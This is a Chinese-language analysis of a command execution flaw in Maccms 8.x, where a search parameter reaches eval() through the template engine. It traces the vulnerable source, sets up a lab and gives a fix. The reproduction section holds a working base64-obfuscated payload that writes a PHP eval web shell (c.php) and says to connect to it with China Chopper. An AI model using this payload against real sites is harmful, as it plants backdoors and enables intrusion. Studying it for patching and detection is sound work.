Maccms8.x 命令執行漏洞分析

這裏寫圖片描述

1. 漏洞描述

  • 漏洞簡述: Maccms搜索頁面搜索輸入參數過濾不嚴謹導致前臺命令執行可getshell
  • 影響版本: Maccms8.x

2. 漏洞簡介

  魅魔電影程序(Maccms PHP)是一套採用PHP/MySQL數據庫運行的全新且完善的強大視頻電影系統。完美支持衆多視頻網站和高清播放器(youku,tudou,qvod,gvod等),完全免費開源。

  該漏洞主要的產生原因是CMS搜索頁面搜索參數過濾不嚴導致直接eval執行PHP語句。

3. 漏洞原理分析

3.1  源碼分析

  首先我們通過網上已知的payload:URL:http://127.0.0.1/index.PHP?m=vod-searchPOST數據wd={if-A:print(md5(23333))}{endif-A}進行源碼跟蹤和調試。

這裏寫圖片描述

首先進入index.php進行跟蹤,我們可以看到代碼中直接將m=vod-search參數進行拆分vod參數和search參數,vod參數是進入的文件路徑,search是vod.php的一個選項。

這裏寫圖片描述

進入\inc\module\vod.php頁面繼續debug,進入method=search條件語句,$wd爲我們輸入的參數{if-A:print(md5(23333))}{endif-A}

這裏寫圖片描述

繼續跟蹤可以看到對$tp1數組進行賦值,同時加載\template\paody\html\vod_search.html:

這裏寫圖片描述

繼續跟蹤\inc\module\vod.php,進行代碼走讀:

$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
    $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
    $tpl->mark();
    $tpl->pageshow();

    $colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
    $valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );

    $tpl->H = str_replace($colarr, $valarr ,$tpl->H);

我們可以看到代碼中利用$tpl->H = str_replace($colarr, $valarr ,$tpl->H);語句將$tp1->H中的

`$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');

`

進行替換,替換後的$tpl->H值爲我們之前輸入的POC:

這裏寫圖片描述

繼續跟進,進入\inc\common\template.php的ifex函數:

function ifex()
        {
            if (!strpos(",".$this->H,"{if-")) { return; }
            $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
            preg_match_all($labelRule,$this->H,$iar);

            $arlen=count($iar[2]);

            for($m=0;$m<$arlen;$m++){
                $strn = $iar[1][$m]; //該值取的是$iar第二個數組中的值,爲“A”
                $strif= asp2phpif( $iar[2][$m] ) ;//該值取的是$iar第三個數組中的值,爲“print(md5(23333))”
                $strThen= $iar[3][$m];//該值取的是$iar第四個數組中的值,第一個爲“”
                $elseifFlag=false;

                $labelRule2="{elseif-".$strn."";
                $labelRule3="{else-".$strn."}";

                if (strpos(",".$strThen,$labelRule2)>0){
                    $elseifArray=explode($labelRule2,$strThen);
                    $elseifArrayLen=count($elseifArray);
                    $elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
                    $resultStr=$elseifSubArray[1];
                    @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
                    if(!$elseifFlag){
                        for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
                            $strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
                            $strElseif=asp2phpif($strElseif);
                            $strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
                            $strElseifThen=str_replace("'","\'",$strElseifThen);
                            @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
                            if ($elseifFlag) {break;}
                        }
                    }
                    if(!$elseifFlag){
                        $strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
                        $strElseif0=asp2phpif($strElseif0);
                        $strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
                        $strElseifThen0=str_replace("'","\'",$strElseifThen0);
                        @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
                    }
                    $this->H=str_replace($iar[0][$m],$resultStr,$this->H);
                }
                else{
                    $ifFlag = false;
                    if (strpos(",".$strThen,$labelRule3)>0){
                        $elsearray=explode($labelRule3,$strThen);
                        $strThen1=$elsearray[0];
                        $strElse1=$elsearray[1];
                        @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
                        if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
                    }
                    else{
                        @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
                        if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
                     }
                }
            }
            unset($elsearray);
            unset($elseifArray);
            unset($iar);
            if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
        }

可以看到首先對this>H iar[2][$m]參數是我們要執行的POC,經過asp2phpif進行過濾,這裏我們看一下asp2phpif函數的源碼:

function asp2phpif($str)
    {
        $str= str_replace("not","!",$str);
        $str= str_replace("==","=",$str);
        $str= str_replace("=","==",$str);
        $str= str_replace("<>","!=",$str);
        $str= str_replace("and","&&",$str);
        $str= str_replace("or","||",$str);
        $str= str_replace("mod","%",$str);
        return $str;
    }

該函數主要對他認爲的參數進行替換,可以看到我們需要執行的POC並沒有被過濾和替換掉。

這裏寫圖片描述

最後我們可以看到$strif參數並沒有再被過濾而是直接執行了eval函數

這裏寫圖片描述

到這就已經debug完所有的流程,也成功的執行了命令print(md5(23333)),如圖所示:

這裏寫圖片描述

4. 靶場環境搭建

4.1 環境源碼下載

通過github下載Maccms8.x源碼https://github.com/yaofeifly/Maccms8.x

4.2 安裝Maccms

  • 在Linux下直接安裝Apache+Mysql+php環境,然後將源碼導入到/var/www/html文件夾下。
  • 啓動Apache服務,在瀏覽器直接訪問Maccms路徑,進入安裝頁面。配置好CMS需要的環境

這裏寫圖片描述

  • 配置好數據連接,用戶設置等,直接安裝即可
  • 訪問http://localhost/maccms8/成功出現CMS首頁。安裝成功

4.3 漏洞復現(getshell)

1.訪問Maccms網站,進入search頁面。

2.利用Firefox瀏覽器發送POST數據包或直接用Python編寫腳本進行發送POST數據包

3.構造一句話木馬payload:

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

進行攻擊,該payload是直接生成一個c.php一句話木馬文件,連接密碼爲c。

這裏寫圖片描述

4.菜刀或直接用Firefox連接一句話,執行命令。

這裏寫圖片描述

5. 修復意見

  升級Maccms8.x到最新版本,或手動添加規則過濾非法字符。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章